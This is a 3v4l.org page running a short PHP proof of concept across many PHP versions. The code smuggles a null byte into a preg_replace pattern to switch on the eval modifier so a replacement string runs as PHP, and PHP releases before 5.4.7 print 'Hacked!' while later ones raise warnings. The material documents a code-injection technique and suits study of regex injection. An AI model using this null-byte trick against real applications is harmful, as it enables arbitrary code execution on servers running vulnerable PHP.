3v4l.org

run code in 500+ PHP versions simultaneously
<?php // That works on PHP versions earlier than 5.4.7. $replace_pattern = "a@e\0"; // Inject null byte here. $replace = 'print "Hacked!"'; // Any valid PHP Code. $transliterated = 'a'; $transliterated = preg_replace('@' . $replace_pattern . '@', $replace, $transliterated);
Output for 8.4.1 - 8.4.22, 8.5.0 - 8.5.7
Warning: preg_replace(): Unknown modifier 'e' in /in/YvY2J on line 7
Output for 8.2.0 - 8.2.31, 8.3.0 - 8.3.31
Warning: preg_replace(): NUL is not a valid modifier in /in/YvY2J on line 7
Output for 5.4.7 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.34
Warning: preg_replace(): Null byte in regex in /in/YvY2J on line 7
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.6
Hacked!
preferences:
110.27 ms | 2338 KiB | 4 Q